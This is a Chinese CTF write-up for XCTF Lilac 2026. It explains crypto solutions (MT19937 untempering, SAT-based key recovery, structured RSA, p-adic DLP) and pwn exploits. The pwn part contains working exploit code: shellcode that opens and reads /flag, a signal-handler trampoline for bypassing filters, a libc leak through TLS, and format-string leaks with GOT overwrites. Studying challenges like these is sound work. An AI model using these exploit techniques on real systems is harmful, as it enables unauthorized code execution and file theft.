XCTF Lilac 2026 Writeup
整理版汇总:按仓库内文档与脚本串主线,每题只保留关键思路和 exp 核心片段(截图已脱敏)。
整理说明
本文按仓库内文档与脚本整理,每题只保留解题主线与 exp 核心片段。
文中用 HOST:PORT 代替真实地址,flag 统一写为 LilacCTF{...},不包含外链 URL 与真实 IP。
Crypto
这一组主要是结构化密码/伪随机/代数环等题:优先从题目脚本里找“可逆结构”或“信息泄露面”,再把它落地成可复现脚本。
BootsTrapping
题目是 Microsoft SEAL CKKS。
仓库给了生成端 C++ 与两份密文文件。 明文把 flag 每个 byte 映射成 double,写进 CKKS 向量前若干槽位。 剩余槽位固定写 0.5,用作 decode 校验与误差参照。
参数与明文布局在 chall.cpp 里写死。
poly_modulus_degree 为 4096。
coeff_modulus 为三段 30-bit。
scale 取 2 的 20 次方。
明文向量长度固定为 50。
ciphertext_mask.dat 对应全零向量的加密。
生成端把它同态加到目标密文上。
离线可以做一次同态相减,把 mask 去掉,得到等价密文。
仓库没有解密端私钥,也没有远端交互面。 这题在当前材料下只能做结构核对与后续解密准备。
可复核检查点。 读取两份密文并比较 parms_id 与 scale,确认处在同一参数层级。 做同态相减后保存结果,确认序列化大小与多项式个数合理。 如果后续拿到同参数 decrypt 环境,可按 decode 值乘 256 再四舍五入恢复字节。
源码里明文槽位布局与参数设置的关键片段如下。
EncryptionParameters parms(scheme_type::ckks);
size_t n = 4096;
parms.set_poly_modulus_degree(n);
parms.set_coeff_modulus(CoeffModulus::Create(n, {30, 30, 30}));
double scale = pow(2.0, 20);
vector<double> input;
for (size_t i = 0; i < flag.size(); i++) {
input.push_back(1.0 * flag[i] / 256);
}
for (size_t i = flag.size(); i < 50; i++) {
input.push_back(0.5);
}
encoder.encode(input, scale, pt_init);
encryptor.encrypt(pt_init, ct);
来源:crypto/BootsTrapping/bootsTrap/chall.cpp、crypto/BootsTrapping/ciphertext.dat、crypto/BootsTrapping/ciphertext_mask.dat
Noisy-Forest
密文是一段含大量 CJK 字符的长文本。 每个可控位置由 MT19937 生成一个 bit。 bit 为 0 时密文等于明文。 bit 为 1 时密文等于明文加固定偏移。
加密规则在 crypto/Noisy-Forest/chall/chall.py 里很直白。
只有 CJK 字符参与按位控制。
每个可控位置消耗一个 bit。
偏移常量在解题脚本里固定为 STEP = 9997。
关键点不是统计偏移,而是恢复 MT19937 内部状态。 MT19937 每次输出一个 32-bit word。 拿到连续 624 个输出 word 以后,可以通过 untemper 逆回内部 state。 所以需要一段足够长且可信的明文前缀来反推出 bitstream。
仓库的做法是先把前缀修出来,再让 MT 补全全文。
材料分散在多个 plain_*.txt。
先用语义和常见字形把前几段对齐。
再用脚本逐字符核对。
每个 CJK 位的差值只允许是 0 或 STEP。
一旦出现别的差值,就说明前缀在该处仍有错字。
从前缀导出 MT 输出的流程可以按数据流理解。 逐位比较前缀和密文。 差值为 0 记为 0。 差值为 STEP 记为 1。 把得到的 bitstream 每 32 位切成 word。 对每个 word 做 untemper。 得到 624 个 state word 以后就能继续扩展输出。
可控位的判定需要更稳一点。 解密阶段不能只看字符是否为 CJK。 还要判断密文减去 STEP 是否仍是 CJK。 这样才能在不知道明文的情况下统计可控位数量,并生成足够长的 bitstream。
生成全量 bitstream 后解密就只剩按位分支。 bit 为 0 输出密文本身。 bit 为 1 输出密文减 STEP。 非可控位保持原样。
健壮性校验也在脚本里做了。 非 CJK 字符位要求前缀与密文严格相等。 前缀 bit 数必须达到 624 乘 32。 解出的全文会反向校验前缀一致性,避免对齐错误导致后续全错。
提交方式是对恢复的全文做 sha256,再按题目格式提交 LilacCTF{...}。
复现建议直接跑仓库脚本。
python3 crypto/Noisy-Forest/solve.py --cipher crypto/Noisy-Forest/chall/ciphertext.txt --prefix crypto/Noisy-Forest/plain_final.txt --out crypto/Noisy-Forest/recovered_full.txt
加密关系可以写成下面的式子。
$$ c_i = p_i + b_i \cdot STEP $$exp 核心是 untemper 还原 MT state,片段如下。
STEP = 9997
def untemper(y):
y &= 0xFFFFFFFF
y = unshift_right_xor(y, 18)
y = unshift_left_xor_mask(y, 15, 0xEFC60000)
y = unshift_left_xor_mask(y, 7, 0x9D2C5680)
y = unshift_right_xor(y, 11)
return y & 0xFFFFFFFF
prefix_bits = bits_from_known_prefix(cipher, prefix)[: 624 * 32]
words = [int(prefix_bits[i : i + 32], 2) for i in range(0, 624 * 32, 32)]
state = [untemper(w) for w in words]
mt = MT19937(state)
total_bits = consumed_bits(cipher)
total_words = (total_bits + 31) // 32
for _ in range(total_words - 624):
words.append(mt.extract_u32())
bitstream = (''.join(f"{w:032b}" for w in words))[:total_bits]
plain = decode(cipher, bitstream)
来源:crypto/Noisy-Forest/solve.py、crypto/Noisy-Forest/chall/chall.py、crypto/Noisy-Forest/plain_final.txt
myBlock
服务端随机生成 8 轮子密钥,每轮 16-bit。 先给出若干组明文对和密文对当作 oracle。 随后给出密钥的 sha3_256。 最后要求你提交完整密钥字节串,校验通过才会输出 flag。
交互在 crypto/myBlock/chall.py 里。
先输入 nums,要求 nums 小于 675。
服务端输出两行列表。
第一行是 nums 个明文对,每个元素是两个 16-bit。
第二行是对应密文对。
接着输出 sha3_256 的十六进制。
你提交密钥十六进制,服务端做等值校验。
轮函数在 crypto/myBlock/cipher.py。
结构是 8 轮 Feistel。
每轮用左半 L 和子密钥 k。
先算 L xor k。
再做有限域上的三次幂,也就是 cube。
把 cube 输出异或进右半 R。
再交换左右半进入下一轮。
有限域是 GF 2 的 16 次扩域。 乘法按不可约多项式约化,常量是 0x1002D,约化时只保留低 16 位。 cube 就是 x 的三次幂。
cube 在这个域上不是置换。 对某些非零元素会有多个立方根。 样本太少时可能出现多组子密钥同时满足约束。 题目给了 sha3_256 用来做唯一性筛选。 脚本会在求解后用该哈希做一致性校验。
思路是把轮函数写成布尔约束再交给求解器。 xor 在比特层面是线性的。 有限域乘法在 GF 2 上是双线性组合。 cube 等价于一次乘法加一次平方再乘,所以整体可以写成二次形式。 每一组明文对和密文对都会给出一组二次约束。 样本足够时可以把 8 个 16-bit 子密钥解出来。
crypto/myBlock/solve.py 实现了 SAT 和 SMT 两条路。
SAT 收敛快,依赖 python-sat。
Z3 bit-vector 更直观,但可能更吃时间。
不稳定时优先加样本,减少超时重试。
复现直接跑脚本。
python3 crypto/myBlock/solve.py --host <host> --port <port> --nums 120 --backend sat
轮函数的更新关系如下。
$$ \begin{aligned} t &= \mathrm{cube}\left[ L \oplus k \right] \\ L' &= R \oplus t \\ R' &= L \end{aligned} $$exp 里先实现域乘与立方,片段如下。
POLY = 0x002D
def gf_mul(a, b):
res = 0
for _ in range(16):
if b & 1:
res ^= a
b >>= 1
carry = a & 0x8000
a = (a << 1) & 0xFFFF
if carry:
a ^= POLY
return res
def gf_cube(x):
return gf_mul(gf_mul(x, x), x)
CUBE_LIN = [gf_cube(1 << i) for i in range(16)]
CUBE_QUAD = [[0] * 16 for _ in range(16)]
for i in range(16):
for j in range(i + 1, 16):
CUBE_QUAD[i][j] = gf_cube((1 << i) | (1 << j)) ^ CUBE_LIN[i] ^ CUBE_LIN[j]
def enc_round(L, R, k):
t = gf_cube(L ^ k)
return R ^ t, L
来源:crypto/myBlock/chall.py、crypto/myBlock/cipher.py、crypto/myBlock/solve.py
myRSA
这题是三素数 RSA,指数 65537。
p 和 q 由同一个隐藏整数 pp 生成。
题面还给了一个受限平方根 oracle。
oracle 只接受很小范围的输入。
只有当输入在 p q r 上都是二次剩余时才返回平方根。
否则返回固定拒绝提示。
目标是恢复私钥并解密得到 LilacCTF{...}。
oracle 的具体行为可以按下面方式理解。 输入 x 必须落在给定的很小区间内,且 x 不能是完全平方。 如果 x 同时是 p q r 的二次剩余,则服务端返回一个 y,使得
$$ y^2 \equiv x \pmod{n} $$y 是分别对 p q r 开方后做 CRT 合并的结果。 否则服务端返回拒绝符号,不提供更多信息。
题面给了两个备份入口,但两边输出的 n 与密文完全一致。 因此不存在跨实例做 gcd 的捷径,信息量只来自这一个固定实例的 oracle。
p q 的结构在 crypto/myRSA/chall.py 和 crypto/myRSA/myRSA.md 里推导得很清楚。
令 t 等于 pp 加 2。
p 和 q 都能写成 t 的二次多项式。
进一步可以得到 pq 的四次形式。
还可以引入一个整数 x,把 pq 和 x 串成恒等式。
一旦拿到 pq,就能还原 t。
随后直接恢复 p 和 q,再用 n 除以 pq 得到 r。
把分解转成等式约束更好下手。 定义 x 等于 p 加 q 再减 1。 由结构恒等式得到 x 的平方加 3 等于 4 倍 pq。 又因为 n 等于 p 乘 q 乘 r,可以写出 r 和 x 的整数等式。 解题等价为寻找满足该等式的一对 x 和 r。 同时 x 的形式必须来自 t 的平方。
这一题还有两条很强的结构性过滤条件,能显著收敛搜索空间。 第一条来自 3 的整除性。 若 t 在模 3 下不是 0,则 p 或 q 会被 3 整除,这与三素数结构冲突。 因此必须有
$$ t \equiv 0 \pmod{3} $$令 u 等于 t 的平方,则有
$$ u \equiv 0 \pmod{9} $$并且 u 除以 9 仍是完全平方。
第二条来自模 3 的剩余类。 在 t 可被 3 整除的前提下,p 与 q 都满足
$$ p \equiv 1 \pmod{3},\quad q \equiv 1 \pmod{3} $$从而 pq 也满足 pq 同余 1。 而 n 同余 2,因此必然有
$$ r \equiv 2 \pmod{3} $$这条结论可以用来指导格参数选择与枚举过滤。
oracle 的信息量有限。
可查询输入范围小,样本数也小。
oracle 本质上编码了三条 Legendre 符号信息,但只给二值结果。
crypto/myRSA/myRSA.md 记录了对候选输入的 Jacobi 符号分布与返回情况。
这些观测可用来推断 r 的同余性质,并指导后续建模。
在这一小段区间里,往往只有极少数 x 会被 oracle 接受并返回根。 如果拿到一个可用的 y,就能把它当作校验点,验证本地模拟与后续推导没有写错。 例如把 x 写成一个明显的平方因子乘积,再对 y 做对应的缩放,可把问题规约到更小的 x 上。
仓库里的解题路线还没有闭环,更多是进度记录。 有双变量格的路线,变量可以选 t r 或 x r 或 u r。 其中 u 可以取 t 的平方,并用模 9 的结构做过滤。 也有更保守的单变量 hidden divisor 路线,用来先卡出 r。 还有 ecm 路线,先从 n 找到任意一个因子,再用 p q 的结构补齐剩余因子。
脚本分工在 crypto/myRSA/ 目录下比较清晰。
solve_tr.py 在 t 与 r 上建二元格。
solve_hm.py 在 x 与 r 上建二元格。
solve_ur.py 在 u 与 r 上建二元格,并显式加入模 9 过滤。
solve_uni.py 走单变量 hidden divisor 思路,尝试先把 r 卡出来。
solve_ecm.py 调用 ECM 先找任一因子,再走结构恢复剩余因子。
sweep_lll.py 对格参数做轻量 sweep,并带资源监控用于防止爆内存。
复现与继续推进建议先做两类复核。 确认 oracle 的真实行为与本地模拟一致。 确认 n 的规模与 r 的 bit 长度范围,否则格参数很难选。
结构等式整理如下。
$$ \begin{aligned} p &= t^2 - t + 1 \\ q &= t^2 + t + 1 \\ pq &= t^4 + t^2 + 1 \\ x &= p + q - 1 = 2t^2 + 1 \\ x^2 + 3 &= 4pq \\ r \cdot \left[ t^4 + t^2 + 1 \right] &= n \\ r \cdot \left[ u^2 + u + 1 \right] &= n,\quad u=t^2 \\ r \cdot (x^2 + 3) &= 4n \end{aligned} $$脚本里常用的复核片段如下。
from math import isqrt
def is_square(n):
if n < 0:
return None
s = isqrt(n)
return s if s * s == n else None
def recover_from_divisor(n, d):
if d <= 1 or n % d != 0:
return None
pq = n // d
s = is_square(4 * pq - 3)
if s is None or (s & 1) == 0:
return None
t2 = (s - 1) // 2
t = is_square(t2)
if t is None:
return None
p = t * t - t + 1
q = t * t + t + 1
if n % (p * q) != 0:
return None
r = n // (p * q)
return p, q, r
def u_filter(u):
if u % 9 != 0:
return False
return is_square(u // 9) is not None
来源:主:crypto/myRSA/myRSA.md;补:crypto/myRSA/chall.py、crypto/myRSA/solve_*.py
nestDLP
题目概览:在嵌套多项式商环里给出大量环元素输出,等价于生成元 $g$ 的幂 $g^{e_i}$。
指数满足 $e_i = m \oplus \mathrm{pad}_i$,并且 $\mathrm{pad}_i$ 的汉明重量固定。
目标是恢复 $m$ 并按题目格式提交 LilacCTF{...}。
题面数据与难点
题面给出一个 384 bit 素数 $p$。 给出 384 个环元素样本,样本都来自同一生成元 $g$ 的幂。 离散对数发生在嵌套商环里,直接求解几乎不可做,因此必须先把环降到可操作的数环。
降维同态到 Z mod p^3
按 crypto/nestDLP/nestDLP.md 的描述,环的系数在 $\mathbb Z/p^3\mathbb Z$ 上。
在该系数环上构造二元多项式环,再按两个多项式关系取商,记为 $f_1,f_2$。
如果能找到一组 $x_0,y_0$ 使得
就得到一个评价同态,把环元素中出现的 $x,y$ 代入为 $x_0,y_0$, 从而把环元素映射为 $\mathbb Z/p^3\mathbb Z$ 里的普通数。 这样每个样本 $g^{e_i}$ 都落到模 $p^3$ 的乘法群里。
crypto/nestDLP/solve.py 的做法是 Groebner 消元配合 Hensel lift。
先对理想取 Groebner 基并消元,得到只含 $y$ 的多项式 $F$,次数为 25。
在模 $p$ 下分解 $F$,挑一个一次因子得到 $y_0 \bmod p$。
这一根必须是简单根,否则导数在模 $p$ 下不可逆,Newton 迭代无法提升。
随后把 $y_0$ 从模 $p$ 提升到模 $p^3$,再用回代关系求出 $x_0 \bmod p^3$。
脚本在 lift 后会做可用性检查。 一类检查是映射值是否带 $p$ 因子,防止落到非单位元导致后续对数不可用。 另一类检查是后续需要的逆元是否存在,用来排除选错分量的情况。 如果 lift 选到了不合适的分量,映射后的 $g$ 可能不在单位群里, 后续把它推入主单位群时会出现不可逆的中间量,log 近似也就无法使用。 脚本会对不同候选根重复尝试, 最终只保留能完成映射与求逆的那一支。
用 p-adic log 求出指数
把 $g$ 与样本映射到 $\mathbb Z/p^3\mathbb Z$ 后仍是幂关系。 关键是把它推入主单位群,使乘法可用对数同态转成加法。
脚本选取 $n=p^{22}-1$。 直觉是让 $g^n \equiv 1 \pmod p$,从而 $g^n$ 落在 $1+p\mathbb Z$ 里。 这与消元多项式在模 $p$ 下包含一个 22 次分量的结构相匹配。
设 $h=g^n$,写成 $h=1+u$,其中 $u$ 可被 $p$ 整除。 在模 $p^3$ 下可以用截断展开
$$ \log\left[1+u\right]=u-\frac{u^2}{2}\pmod{p^3} $$对每个样本重复相同操作,得到对数值后做一次模 $p^2$ 的除法, 即可得到 $e_i \bmod p^2$。 题目里 $m$ 的位数小于 $p^2$ 的位数,因此该值就是完整的 $e_i$。
固定汉明重量恢复 m
对每个样本都有 $e_i = m \oplus \mathrm{pad}_i$,并且 $\mathrm{wt}[\mathrm{pad}_i]$ 是常数 $w$。 等价写法是对所有 $i$ 都满足 $\mathrm{wt}[m\oplus e_i]=w$。
把 $m$ 的每一位建模为布尔变量。 对固定的 $e_i$,每一位的贡献只有两种。 当该位为 0 时贡献是 $m$ 的该位。 当该位为 1 时贡献是 $1-m$ 的该位。 把 384 条约束加起来得到一组布尔线性方程。
crypto/nestDLP/solve_z3.py 用 OR-Tools CP-SAT 求解。
脚本按大端编号 bit,再按 8 bit 组合成字节并加可打印约束,用于收敛与去歧义。
求解后对全部样本再做一次重量复核,确认每个 $\mathrm{wt}[m\oplus e_i]$ 都等于 $w$。
复现链路是先在 Sage 环境运行 crypto/nestDLP/solve.py 生成 exps.json,
再用系统 python3 运行 crypto/nestDLP/solve_z3.py exps.json 做布尔求解。
若本机缺 ortools,需要先补齐依赖再执行求解阶段。
截断展开式如下。
$$ \log\left[ 1 + u \right] = u - \frac{u^2}{2} \pmod{p^3} $$Sage 阶段的关键代码片段如下。
mod = p ** 3
p2 = p ** 2
n = p ** 22 - 1
inv2 = Zmod(mod)(2) ** (-1)
def log1p(u):
return u - (u * u) * inv2
h = g0 ** n
v = log1p(h - 1)
v1 = (int(v) // p) % p2
inv_v1 = pow(v1, -1, p2)
he = ge0 ** n
w = log1p(he - 1)
w1 = (int(w) // p) % p2
e = (w1 * inv_v1) % p2
来源:crypto/nestDLP/nestDLP.md、crypto/nestDLP/solve.py、crypto/nestDLP/solve_z3.py
Pwn
这一组强调从入口约束推导可控原语,再把原语串成稳定闭环。整理版会尽量写清楚环境限制、关键偏移来由与复现路径,避免只写一句话结论。
bytezoo
题目概览:输入被读入一页可执行 code 页,但读入区要过逐字节频次校验。
程序在页尾补上两字节 syscall,且这两字节不参与校验。
阶段一无法直接写出 syscall 指令字节,只能靠跳转到页尾触发系统调用。
进程启用 seccomp,整体目标是 ORW 并把结果写到标准输出。
环境与约束
程序映射两页,一页 code,一页 stack,随后把 code 页设为 RX 并跳转执行。 读入长度为 0xffe,读入前 code 页被预填充 NOP,形成可用的滑行区。 映射地址来自 16 bit 随机数左移 12,始终页对齐并落在低地址区, 因此构造指针时经常只写低 32 位即可生效。
寄存器与栈同样是硬约束。 RSP 初始接近新栈页尾,只有一页栈空间, 临时结构体与缓冲区需要下移,避免跨页读写导致异常。 其余寄存器并非全零,阶段一里常见的清零写法会浪费字节预算。
程序执行链路
服务端启动后先安装 seccomp。 在 warmup 版本里它更偏向禁用 exec 与 ptrace 一类调用, 交互 shell 没有意义,最终都要落回 ORW。
随后程序用 MAP_FIXED 映射两页内存。 一页作为 code,初始权限为 RWX。 一页作为 stack,初始权限为 RW。 映射地址来自 16 bit 随机数左移 12, 因此地址始终页对齐并落在低地址区。 如果映射地址撞上已有映射,mmap 会失败并直接退出。
映射完成后 code 页会被填充为 0x90。
这片 NOP 不是我们写进去的,
但可以当作滑行区使用。
程序还会把 syscall 写在 code 页末尾,
偏移为 0xffe。
接着从标准输入读取 0xffe 字节到 code 页起始处, 然后对读入部分做频次校验。 校验通过后执行 mprotect 把 code 页改为 RX, 再把 rsp 切到新栈页顶部并跳转进入 code。
stage1 初始状态
进入 stage1 时 RAX 指向 code 基址。
程序用 jmp rax 进入我们代码,所以这一点很稳定。
RSP 指向 stack 基址加 0xff8,并且栈页被清零。
其余通用寄存器会被写成同一个非零常量,
很多依赖寄存器初值为 0 的模板无法直接套用。
字节频次规则
对每个字节 $b$,允许次数等于高半字节与低半字节的较小值。
包含 0 半字节的字节完全禁止,换行字节也会直接触发校验失败。
syscall 的 0x0f 与 0x05 含 0 半字节,所以阶段一不可能出现。
页尾两字节由程序写入且不参与校验,因此它成了唯一稳定的 syscall 源。
允许次数总和约为 1240,远小于 0xffe,
阶段一只能搭建跳板并上二阶段,而不可能塞进完整解题逻辑。
允许次数写成公式更直观。
$$ \mathrm{allow}[b] = \min\{ b \gg 4,\ b \& 0xf \} $$
校验等价于对所有字节 $b$ 满足 $\mathrm{cnt}[b]\le \mathrm{allow}[b]$。
这条规则让字节预算变得非常硬。
像 0xff 最多 15 次。
0xee 最多 14 次。
0xdd 最多 13 次。
我用 pwn/bytezoo/bytezoo_tools.py 做频次统计,
在本地先把 payload 的可行性判掉,再去跑远端。
校验只覆盖 read 实际读入的 0xffe 字节。
页尾 syscall 由程序写入,不在校验范围内。
这个细节决定阶段一只能靠跳到页尾来获得系统调用原语。
频次规则带来的一个直观后果是 NOP 字节不可用。
0x90 含 0 半字节,因此在读入区完全禁止。
但 code 页读入前被预填充 NOP,
只要把控制流跳到读入区之后,
就能利用这些 NOP 滑到页尾 syscall。
交互上也有一个固定坑。 sendline 会附带换行 0x0a, 换行属于禁用字节,发包必须使用 send 原始 bytes。
预期解 SIGSEGV trampoline
预期链路利用一个很稳定的时序点。
控制流滑到页尾触发 syscall 后,返回取指越界会触发 SIGSEGV。
把这次崩溃改造成可控跳转,就能把多次系统调用拆成多段阶段并反复进入。
SIGSEGV 的触发点并不依赖概率。
syscall 位于 code 基址加 0xffe。
执行完 syscall 后 RIP 会指向下一条指令,
也就是 code 基址加 0x1000。
code 只映射一页,下一页一定不存在,
因此取指必然触发 SIGSEGV。
我把整体链路拆成三段系统调用。
第一段用 rt_sigaction 安装 SIGSEGV handler 与 restorer。
第二段用 mprotect 把 code 页改回可写可执行,为二阶段写入做准备。
第三段用 read 把二阶段读入到选定偏移,并把执行流切到二阶段。
每一段都通过一次 SIGSEGV 回跳把控制权交回到下一段入口。
阶段一先调用 rt_sigaction 安装 SIGSEGV handler。
handler 需要拿到 ucontext 指针,因此 flags 必须包含 SA_SIGINFO。
为了在返回时走 rt_sigreturn,同时需要 SA_RESTORER 并提供 restorer 指针。
sigsetsize 必须是 8,否则内核会直接返回 EINVAL。
sigaction 结构体我放在新栈上。 新栈页初始化为全零,未写字段天然为 0。 我只关心三个字段。 handler 指针指向 code 页内的 handler。 flags 同时包含 SA_SIGINFO 与 SA_RESTORER。 restorer 指针指向 code 页内的 restorer。 mask 保持为 0 即可。
rt_sigaction 的第四个参数通过 r10 传入。
这一点和常见的前三参不同。
如果 r10 没写成 8,内核会直接拒绝。
flags 常见取值是 0x04000004,
写入时只需要确保关键字节落到位。
handler 的工作尽量小。
它只定位 ucontext 里保存的 RIP 槽位,把该槽位改成下一段入口地址。
随后把执行权交给 restorer。
restorer 把 rax 置为 rt_sigreturn 的系统调用号,
再滑到页尾 syscall,让内核按修改后的上下文恢复继续执行。
这里我用 RBP 当作下一跳寄存器。 每一段准备 syscall 之前都会把 RBP 置为下一段入口。 handler 只需要把 ucontext 里的 RIP 改成 ucontext 里的 RBP, 就完成一次跳转而不需要额外计算地址。 低地址映射让这个技巧更省字节, 很多地方只写低 32 位地址就够用。
从工程视角看,有两个细节最省字节。 mprotect 的长度可以取 1,内核会页对齐向上覆盖整页。 映射地址落在低地址区,sigaction 结构体里的指针字段常只写低 32 位即可。
NOP sled 也是可利用的固定资源。
读入区不能出现 NOP 字节,但读入区之外仍保留程序预填充的 NOP,
把跳转落点放在后半页,用滑行可以更稳定地触发页尾 syscall。
内存布局
两页在利用中更像两个固定容器,规划清楚会更稳。
code page
0x0000 stage1 payload 读入区 0xffe bytes
0x0xxx NOP sled 程序预填充的滑行区
0x0ffe syscall 程序写入且不参与频次校验
stack page
0x0000 sigaction 结构体与临时缓冲区
0x0f00 初始 rsp 近页尾
二阶段 ORW 与输出
二阶段只做 ORW,重点是规避栈页跨页与自覆盖。
我会先把 rsp 下移一段固定距离,再把 buffer 放在页内区域。
读入位置也会避开页尾 syscall 与阶段一仍可能执行到的路径,留出足够偏移。
二阶段不再经过字节频次校验,
因此可以用常规 shellcode 写法,包括 0x00 与 0x90。
open 的路径我直接在栈上拼出 /flag,
read 的 buffer 也放在同一页栈内,避免跨页。
如果输出只有一小段,通常是 read 的长度过大,
或是 buffer 离页尾太近导致跨页。
这一类问题优先通过调整 rsp 下移量与 read 长度解决。
非预期 vsyscall 路线
部分环境会保留固定的 vsyscall 页。
在某些配置下,该页的行为接近 syscall ret,
可以当作现成 gadget 来拼系统调用链。
这条路线最大的问题是线上不稳定。 vsyscall 的行为取决于内核配置, 常见模式是 emulate 或 none。 在不可用模式下相关地址不可执行, payload 会直接崩溃。 因此我只把它当作本地对照思路, 提交版仍以 SIGSEGV trampoline 与 FS 泄露两条路线为准。
warmup 的 FS 泄露路线
warmup 环境里 FS base 没被清零。
FS 指向 TLS,TLS 里常能取到落在 libc 映射内的指针。
stage1 虽然不能直接写 syscall 字节,
但可以做任意内存读,因此先把这个指针读出来。
拿到 libc 内部指针后先做页对齐,
然后以页为单位向下扫描 ELF 头。
判断条件是页首的魔数 0x7f 45 4c 46。
扫到魔数所在页就得到 libc base。
有了 base 就能在 libc 的可执行段里找 syscall ret gadget。
我只在 RX 段附近扫描,避免在 rodata 里误命中相同字节序列。
找到 gadget 后用 call gadget 完成系统调用。
gadget 的字节序列是 0x0f 0x05 0xc3。
为了降低误命中概率,我会从 text 段附近开始扫,
而不是在整段映射里盲扫。
确定 gadget 落在可执行段后,
它就可以稳定补齐系统调用原语。
这样就能在 stage1 中直接做 mprotect 与 read,
把二阶段读入并跳转,后续仍按 ORW 读出 LilacCTF{...}。
这条路线依赖 FS base 指向真实 TLS。 revenge 版显式把 FS base 清零, 因此读取到的值不再是 libc 指针,这条路线自然失效。
二阶段 ORW 的核心汇编如下。
from pwn import asm, context
def build_stage2(read_len):
context.clear(arch='amd64', os='linux')
sc = asm(
r"""
sub rsp, 0x800
xor eax, eax
mov rbx, 0x0067616c662f
push rbx
mov rdi, rsp
xor esi, esi
mov al, 2
syscall
mov rdi, rax
mov rsi, rsp
mov edx, 0x200
xor eax, eax
syscall
mov edx, eax
mov eax, 1
mov edi, 1
syscall
xor edi, edi
mov eax, 60
syscall
"""
)
return sc.ljust(read_len, b"\x90")
来源:主:部分writeup/pwn部分.md;补:pwn/bytezoo/bytezoo.md、pwn/bytezoo/solve_warmup_expected.py、pwn/bytezoo/solve_warmup_fs_syscall.py、pwn/bytezoo/bytezoo_tools.py
bytezoo-revenge
题目概览:复仇版保留两页映射与页尾 syscall 的骨架,
移除了 warmup 的字节频次校验,并清理 FS base 与调整 seccomp。
利用不再需要多段跳板,主线回到单阶段 ORW。
程序骨架复盘
复仇版的主体流程和 warmup 很接近。
它仍然 mmap 两页内存。
一页做 code,初始 RWX。
一页做 stack,初始 RW。
code 页在读入前会被填充为 0x90,并在页尾写入 syscall。
随后 read 把 0xffe 字节写到 code 起始处。
之后 mprotect 把 code 页改为 RX,再切栈并跳转执行。
这一版最明显的变化是删除了频次校验。
所以 payload 里可以直接写 syscall,
不需要再依赖页尾的那两字节来凑系统调用原语。
附件是 revenge.zip,采用 AES 加密。
密码来自 warmup 的提交结果,整理版只用占位 LilacCTF{...} 表示。
解包后核心文件在 pwn/bytezoo/revenge/Given_to_players/,
同目录带了 libc.so.6 与 ld-linux-x86-64.so.2,用于复刻线上加载器行为。
解包与本地环境
压缩包使用 AES 加密,系统 unzip 在部分环境下无法解。
我使用 7z 解包并得到 Given_to_players 目录。
目录里有题目程序 pwn,
以及配套的 libc 和 ld。
同目录还带了 libseccomp 与启动脚本,
用来说明线上运行方式与 seccomp 配置。
和 warmup 的差异对利用有三个直接影响。
其一是移除频次校验,payload 内可以直接出现 syscall。
其二是 FS base 被清零,TLS 泄露 libc 的路线被硬性切断。
其三是 seccomp 侧重点更偏向禁 exec,ORW 反而更稳定。
清理 FS base 是最关键的差异之一。 程序会显式执行 wrfsbase 0。 因此任何 fs 相关读都会落到接近 0 的地址, warmup 里依赖 TLS 泄露 libc 的路线被彻底切断。
提交版闭环思路很直接。 在 code 页放一段 ORW shellcode, 先 open 目标文件,再 read 到栈内 buffer,最后 write 到标准输出。 程序把 code 页改成 RX 只影响自修改,不影响执行系统调用与使用栈缓冲区。
本题最容易踩的坑来自一页栈限制。 新栈只有一页 0x1000,且初始 rsp 接近页尾。 如果把 read 的 buffer 放在 rsp 附近,很容易跨页导致输出截断或异常。 因此 shellcode 开头先下移 rsp,再把 buffer 放到页内区域会更稳。
本地验证时,优先用附件自带的 ld 与 libc 启动,减少环境差异。
远端若输出只有很短一截,通常是 buffer 跨页或 read 长度过大。
本地跑时建议使用附件自带的 ld 和 libc 启动,
这样 glibc 版本一致,行为更接近远端。
远端脚本 pwn/bytezoo/solve_revenge.py 支持传 HOST 与 PORT,
输出统一按 LilacCTF{...} 占位展示。
本题对输入长度也有硬上限。 read 只读 0xffe 字节,因此 payload 需要一次性完整落在这段长度内。 如果想复刻线上加载器行为,可以直接用附件自带的 ld 执行二进制, 这一点在排查本地运行即退出时尤其有用。
ORW shellcode 的核心汇编如下。
from pwn import asm, context
def build_orw_shellcode():
context.clear(arch='amd64', os='linux')
return asm(
r"""
xor eax, eax
push rax
mov rbx, 0x0067616c662f
push rbx
mov rdi, rsp
xor esi, esi
xor edx, edx
mov eax, 2
syscall
mov edi, eax
sub rsp, 0x800
mov rsi, rsp
mov edx, 0x800
xor eax, eax
syscall
mov edx, eax
mov edi, 1
mov rsi, rsp
mov eax, 1
syscall
"""
)
来源:pwn/bytezoo/bytezoo-revenge.md、pwn/bytezoo/solve_revenge.py
Chuantongxiangyan
题目概览:服务端循环提示输入,每轮只接收 16 字节。输入被作为格式化串使用,存在典型格式化字符串原语。最终目标是劫持控制流并读取 flag。
题目约束
每轮只有 16 字节,无法一次性完成泄露与写入,利用必须拆成多轮。 服务端回显长度也受限,很多泄露只能按字节或按小段拼起来。 因此核心工作变成两件事。 一是把参数位置对齐到可控地址。 二是把读写原语做成可重复叠加的闭环。
信息泄露
PIE 基址通过 %p 泄露一个位于 bss 的输出缓冲区地址来回推,
再减去固定偏移得到基址。
栈地址也用 %p 泄露,用于后续放置参数与稳定定位。
libc 基址通过 %s 去读 GOT 表项。
把目标地址拼在输入末尾,再用位置参数把它当作指针解引用,
例如读 read 或 write 的真实地址,再减符号偏移得到 libc base。
遇到 0 字节截断时,脚本改为逐字节读取,
把地址逐次加一,只取回显的首字节,
回显为空就视为 0,从而拼出完整的 8 bytes 指针。
pwn/Chuantongxiangyan/solve.py 里也保留了参数枚举模式,
用来核对不同实例下的位置参数映射。
写入与控制流
控制流劫持通过 %n 家族完成,常用 %hhn 与 %hn 做分段写。
由于每轮输入很短,写入会被拆成多轮,
先把低字节写到位,再逐步补齐高字节。
落点通常选 GOT 或返回路径,目标可以是 system 或 one_gadget。
本题环境里 snprintf 会在栈上使用一份 FILE 结构体。
通过格式化字符串把该结构体的写指针字段改到 exit 的 GOT,
可以把一次输出副作用变成一次可控字节写入加一次写零字节,
用于更稳地逐步改写 GOT。
内存布局
利用中涉及三块稳定区域,脚本按这个结构去对齐与回收。
ELF 映像
.got read, write, exit
bss
输出缓冲区 用于泄露 PIE 相关地址
stack
格式化参数区 位置参数与拼接地址在这里对齐
snprintf 相关 FILE 结构体字段可被间接污染
复现时建议先把泄露链路跑通,再进入写入阶段。
完整利用主线与偏移校准以 部分writeup/pwn部分.md 的多轮脚本为准。
泄露与计算基址的核心片段如下。
from pwn import p64, u64
def leak_qword(io, addr):
io.send(b"%5$sBBBB" + p64(addr))
data = io.recvuntil(b"BBBB", drop=True)
return u64(data.ljust(8, b"\x00"))
pie_base = leak_pie(io) # %1$p
read_got = pie_base + 0x4018
